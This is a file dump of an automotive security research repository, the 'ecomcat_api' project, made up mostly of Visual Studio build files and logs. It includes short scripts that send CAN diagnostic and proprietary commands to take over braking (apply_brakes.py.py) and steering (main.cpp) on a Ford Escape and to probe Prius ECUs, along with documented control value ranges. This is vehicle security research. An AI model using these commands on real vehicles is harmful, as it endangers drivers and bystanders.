build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /code/ecomcat_api/CarLib_Test/CarLib_Test.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4} 15 | Win32Proj 16 | CarLib_Test 17 | 18 | 19 | 20 | Application 21 | true 22 | Unicode 23 | 24 | 25 | Application 26 | false 27 | true 28 | Unicode 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | true 42 | 43 | 44 | false 45 | 46 | 47 | 48 | 49 | 50 | Level3 51 | Disabled 52 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 53 | 54 | 55 | Console 56 | true 57 | 58 | 59 | 60 | 61 | Level3 62 | 63 | 64 | MaxSpeed 65 | true 66 | true 67 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 68 | 69 | 70 | Console 71 | true 72 | true 73 | true 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | -------------------------------------------------------------------------------- /code/ecomcat_api/CarLib_Test/main.cpp: -------------------------------------------------------------------------------- 1 | #include "..\CarLib\CarLib.h" 2 | #include 3 | 4 | int main(int argc, char *argv[]) 5 | { 6 | int i = 0; 7 | // ToyotaPrius *tp = new ToyotaPrius(); 8 | //tp->SetAutoBrake(0xE0FF, 10000); 9 | //tp->SetSpeed(20, 10000); 10 | //tp->SetSteeringAngle(-100, 100000); 11 | 12 | //printf("Steering Angle: %04X\n", tp->GetSteeringAngle()); 13 | 14 | 15 | FordEscape *fe = new FordEscape(); 16 | // fe->SetSpeed(60, 2000); 17 | // fe->SetRPM(4000, 2000); 18 | 19 | fe->SetSteeringAngle(atoi(argv[1]),atoi(argv[2])); 20 | 21 | printf("Steering Angle: %d\n", fe->GetSteeringAngle()); 22 | printf("Speed: %d\n", fe->GetSpeed()); 23 | printf("RPM: %d\n", fe->GetRPM()); 24 | printf("Brake: %d\n", fe->GetBrakeState()); 25 | printf("Gas: %d\n", fe->GetGasPedalAngle()); 26 | printf("Gear: %d\n", fe->GetCurrGear()); 27 | printf("Autopark: %d\n", fe->GetAutoPark()); 28 | 29 | return 0; 30 | } -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarControl.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.exe -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarControl.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.exp -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarControl.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.ilk -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarControl.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.lib -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarControl.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.pdb -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.dll -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.exp -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.ilk -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.lib -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.pdb -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | "CarLib" 5 | 6 | 7 | 8 | Sets the current RPM 9 | 10 | 11 | Sets the current speed in KPH 12 | 13 | 14 | XXX NOT IMPLEMENTED 15 | 16 | 17 | XXX NOT IMPLEMENTED 18 | 19 | 20 | Gets the auto park state. Disabled: 0x00. Reduce Speed: 0x02. Searching: 0x04. Pull Forward: 0x08 21 | 22 | 23 | Gets the current gear of the car. Park: 0x10. Reverse: 0x30. Neutral: 0x50. Drive: 0x70. Low: 0xC0 24 | 25 | 26 | Gets the steering wheel angle. Range: 0x25C3 (counter clockwise) - 0x7661 (clockwise) [0x4D00 is centered] 27 | 28 | 29 | Gets the current gas pedal angle. Un-depressed: 00. Fully-depressed: 0x20 30 | 31 | 32 | Get the current brake state. Engaged: 0x01. Dis-Engaged: 0x00 33 | 34 | 35 | Gets the current RPM of the internal combustion engine 36 | 37 | 38 | Gets the current speed in MPH 39 | 40 | 41 | Sets the steering wheel angle. Range: 0x157 (counter clockwise) - 0xEA9 (clockwise) [0x0000 is centered] 42 | 43 | 44 | Sets the current speed in MPH 45 | 46 | 47 | Sets the current speed in KPH 48 | 49 | 50 | Sets the brake pressure for the auto braking capability. Range 0xE000-0x0000 [Most-to-Least] 51 | 52 | 53 | Gets the brake pressure for the auto braking capability. Range 0xE000-0x0000 [Most-to-Least] 54 | 55 | 56 | Gets the auto park state. Enabled: 0x30. Disabled: 0x10 57 | 58 | 59 | Gets the current gear of the car. Park: 0x00. Reverse: 0x10. Neutral: 0x20. Drive: 0x30. Engine Brake: 0x40 60 | 61 | 62 | Gets the steering wheel angle. Range: 0x157 (counter clockwise) - 0xEA9 (clockwise) [0x0000 is centered] 63 | 64 | 65 | Gets the current gas pedal angle. Un-depressed: 00. Fully-depressed: 0xC8 66 | 67 | 68 | Get the current brake state. Engaged: 0x04. Locked: 0x0A. Dis-Engaged: 0x00 69 | 70 | 71 | Gets the current RPM of the internal combustion engine 72 | 73 | 74 | Gets the current speed in MPH 75 | 76 | 77 | A function that will add the byte-rounded checksum at the last slot in the sff->data[] array 78 | 79 | 80 | Ford Escape constructor. This must be called before any other instance methods. 81 | 82 | 83 | Toyota Prius constructor. This must be called before any instance methods. 84 | 85 | 86 | -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib_Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.exe -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib_Test.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.exp -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib_Test.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.ilk -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib_Test.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.lib -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/CarLib_Test.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.pdb -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/can_bridge.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/can_bridge.exe -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/can_bridge.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/can_bridge.ilk -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/can_bridge.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/can_bridge.pdb -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/ecomcat_api.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.dll -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/ecomcat_api.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.exp -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/ecomcat_api.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.ilk -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/ecomcat_api.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.lib -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/ecomcat_api.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.pdb -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/test_api.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/test_api.exe -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/test_api.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/test_api.ilk -------------------------------------------------------------------------------- /code/ecomcat_api/Debug/test_api.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/test_api.pdb -------------------------------------------------------------------------------- /code/ecomcat_api/apply_brakes.py.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | 3 | # initalize 4 | mydll = CDLL('Debug\\ecomcat_api') 5 | # HS CAN 6 | handle = mydll.open_device(1,0) 7 | wid = 0x760 8 | 9 | if do_diagnostic_session(mydll, handle, wid, "adj"): 10 | print("Started diagnostic session") 11 | 12 | while True: 13 | print(do_proprietary(mydll, handle, wid, 0x3c, [0x7f])) 14 | 15 | mydll.close_device(handle) 16 | -------------------------------------------------------------------------------- /code/ecomcat_api/check_diagnostics.py: -------------------------------------------------------------------------------- 1 | from PyEcom import * 2 | from config import * 3 | 4 | if __name__ == "__main__": 5 | print("[*] Starting Prius diagnostics check...") 6 | ecom = PyEcom('Debug\\ecomcat_api') 7 | ecom.open_device(0,1) 8 | 9 | diag_req = [0x10, PriusDiagCode] 10 | 11 | for ecu_num, ecu_str in PriusECU.items(): 12 | 13 | print("DaigCheck...[0x%04X] => %s..." % (ecu_num, ecu_str)) 14 | if ret := ecom.diagnostic_session(ecu_num, diag_req): 15 | print("SUCCEEDED!\n") 16 | 17 | else: 18 | print("FAILED\n") 19 | for ecu_sub_num, ecu_str in PriusMainECU.items(): 20 | print("DiagCheck...[0x0750:0x%02X] => %s..." % (ecu_sub_num, ecu_str)) 21 | if ret := ecom.diagnostic_session(0x750, diag_req, ecu_sub_num): 22 | print("SUCCEEDED!\n") 23 | else: 24 | print("FAILED\n") 25 | 26 | 27 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ecomcat_api", "ecomcat_api\ecomcat_api.vcxproj", "{8C7D5D91-37E6-43F6-8BA4-89584E036732}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "test_api", "test_api\test_api.vcxproj", "{E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}" 7 | ProjectSection(ProjectDependencies) = postProject 8 | {8C7D5D91-37E6-43F6-8BA4-89584E036732} = {8C7D5D91-37E6-43F6-8BA4-89584E036732} 9 | EndProjectSection 10 | EndProject 11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CarLib", "CarLib\CarLib.vcxproj", "{9DCE6AEE-F07B-48F0-88A2-0E60453373D0}" 12 | EndProject 13 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CarLib_Test", "CarLib_Test\CarLib_Test.vcxproj", "{A5B0FD28-F1F8-4252-913F-20B9347B87C4}" 14 | ProjectSection(ProjectDependencies) = postProject 15 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0} = {9DCE6AEE-F07B-48F0-88A2-0E60453373D0} 16 | EndProjectSection 17 | EndProject 18 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CarControl", "CarControl\CarControl.vcxproj", "{50ACE6CC-B9B6-455F-8658-FCC764AF42A3}" 19 | EndProject 20 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "can_bridge", "can_bridge\can_bridge.vcxproj", "{38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}" 21 | EndProject 22 | Global 23 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 24 | Debug|Win32 = Debug|Win32 25 | Release|Win32 = Release|Win32 26 | EndGlobalSection 27 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 28 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}.Debug|Win32.ActiveCfg = Debug|Win32 29 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}.Debug|Win32.Build.0 = Debug|Win32 30 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}.Release|Win32.ActiveCfg = Release|Win32 31 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}.Release|Win32.Build.0 = Release|Win32 32 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}.Debug|Win32.ActiveCfg = Debug|Win32 33 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}.Debug|Win32.Build.0 = Debug|Win32 34 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}.Release|Win32.ActiveCfg = Release|Win32 35 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}.Release|Win32.Build.0 = Release|Win32 36 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}.Debug|Win32.ActiveCfg = Debug|Win32 37 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}.Debug|Win32.Build.0 = Debug|Win32 38 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}.Release|Win32.ActiveCfg = Release|Win32 39 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}.Release|Win32.Build.0 = Release|Win32 40 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}.Debug|Win32.ActiveCfg = Debug|Win32 41 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}.Debug|Win32.Build.0 = Debug|Win32 42 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}.Release|Win32.ActiveCfg = Release|Win32 43 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}.Release|Win32.Build.0 = Release|Win32 44 | {50ACE6CC-B9B6-455F-8658-FCC764AF42A3}.Debug|Win32.ActiveCfg = Debug|Win32 45 | {50ACE6CC-B9B6-455F-8658-FCC764AF42A3}.Debug|Win32.Build.0 = Debug|Win32 46 | {50ACE6CC-B9B6-455F-8658-FCC764AF42A3}.Release|Win32.ActiveCfg = Release|Win32 47 | {50ACE6CC-B9B6-455F-8658-FCC764AF42A3}.Release|Win32.Build.0 = Release|Win32 48 | {38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}.Debug|Win32.ActiveCfg = Debug|Win32 49 | {38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}.Debug|Win32.Build.0 = Debug|Win32 50 | {38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}.Release|Win32.ActiveCfg = Release|Win32 51 | {38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}.Release|Win32.Build.0 = Release|Win32 52 | EndGlobalSection 53 | GlobalSection(SolutionProperties) = preSolution 54 | HideSolutionNode = FALSE 55 | EndGlobalSection 56 | EndGlobal 57 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api.suo -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/CL.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/CL.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/api_file.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/api_file.obj -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/cl.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/cl.command.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\DEBUG\ECOMCAT_API.DLL 2 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.exp 3 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\DEBUG\ECOMCAT_API.ILK 4 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.lib 5 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\DEBUG\ECOMCAT_API.PDB 6 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\DEBUG\ECOMCAT_API.XML 7 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\API_FILE.OBJ 8 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\cl.command.1.tlog 9 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\CL.read.1.tlog 10 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\CL.write.1.tlog 11 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\ECOMCAT_API.DLL.EMBED.MANIFEST 12 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\ECOMCAT_API.DLL.EMBED.MANIFEST.RES 13 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\ECOMCAT_API.DLL.INTERMEDIATE.MANIFEST 14 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\ECOMCAT_API.PCH 15 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\ecomcat_api.write.1.tlog 16 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\ecomcat_api_manifest.rc 17 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.4888.read.1.tlog 18 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.4888.write.1.tlog 19 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.4888-cvtres.read.1.tlog 20 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.4888-cvtres.write.1.tlog 21 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.7496.read.1.tlog 22 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.7496.write.1.tlog 23 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.7496-cvtres.read.1.tlog 24 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.7496-cvtres.write.1.tlog 25 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.command.1.tlog 26 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.read.1.tlog 27 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.write.1.tlog 28 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link-cvtres.read.1.tlog 29 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link-cvtres.write.1.tlog 30 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\mt.command.1.tlog 31 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\mt.read.1.tlog 32 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\mt.write.1.tlog 33 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\rc.command.1.tlog 34 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\rc.read.1.tlog 35 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\rc.write.1.tlog 36 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\STDAFX.OBJ 37 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\STDAFX.XDC 38 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\vc100.idb 39 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\VC100.PDB 40 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\XDCMake.command.1.tlog 41 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\xdcmake.read.1.tlog 42 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\xdcmake.write.1.tlog 43 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.dll.embed.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.dll.embed.manifest.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.dll.embed.manifest.res -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.dll.intermediate.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.lastbuildstate: -------------------------------------------------------------------------------- 1 | #v4.0:v100:false 2 | Debug|Win32|C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\| 3 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.log: -------------------------------------------------------------------------------- 1 | Build started 6/25/2013 2:27:02 PM. 2 | 1>Project "C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\ecomcat_api.vcxproj" on node 3 (build target(s)). 3 | 1>InitializeBuildStatus: 4 | Creating "Debug\ecomcat_api.unsuccessfulbuild" because "AlwaysCreate" was specified. 5 | ClCompile: 6 | All outputs are up-to-date. 7 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /Od /Oy- /D WIN32 /D _DEBUG /D _CONSOLE /D _WINDLL /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MDd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Debug\\" /Fd"Debug\vc100.pdb" /Gd /TC /analyze- /errorReport:prompt api_file.c 8 | api_file.c 9 | 1>c:\svn\research\cft\auto framework\ecomcat\ecomcat_api\ecomcat_api\api_file.c(231): warning C4142: benign redefinition of type 10 | 1>c:\svn\research\cft\auto framework\ecomcat\ecomcat_api\ecomcat_api\api_file.c(497): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 11 | c:\program files (x86)\microsoft visual studio 10.0\vc\include\stdio.h(234) : see declaration of 'fopen' 12 | 1>c:\svn\research\cft\auto framework\ecomcat\ecomcat_api\ecomcat_api\api_file.c(533): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 13 | c:\program files (x86)\microsoft visual studio 10.0\vc\include\stdio.h(234) : see declaration of 'fopen' 14 | 1>c:\svn\research\cft\auto framework\ecomcat\ecomcat_api\ecomcat_api\api_file.c(587): warning C4018: '<' : signed/unsigned mismatch 15 | ManifestResourceCompile: 16 | All outputs are up-to-date. 17 | Link: 18 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.dll" /INCREMENTAL /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /ManifestFile:"Debug\ecomcat_api.dll.intermediate.manifest" /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /DEBUG /PDB:"C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.pdb" /SUBSYSTEM:CONSOLE /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.lib" /MACHINE:X86 /DLL Debug\ecomcat_api.dll.embed.manifest.res 19 | Debug\api_file.obj 20 | Debug\stdafx.obj 21 | ecommlib.lib 22 | Creating library C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.lib and object C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.exp 23 | Manifest: 24 | C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\bin\mt.exe /nologo /verbose /out:"Debug\ecomcat_api.dll.embed.manifest" /manifest Debug\ecomcat_api.dll.intermediate.manifest 25 | All outputs are up-to-date. 26 | LinkEmbedManifest: 27 | All outputs are up-to-date. 28 | ecomcat_api.vcxproj -> C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.dll 29 | 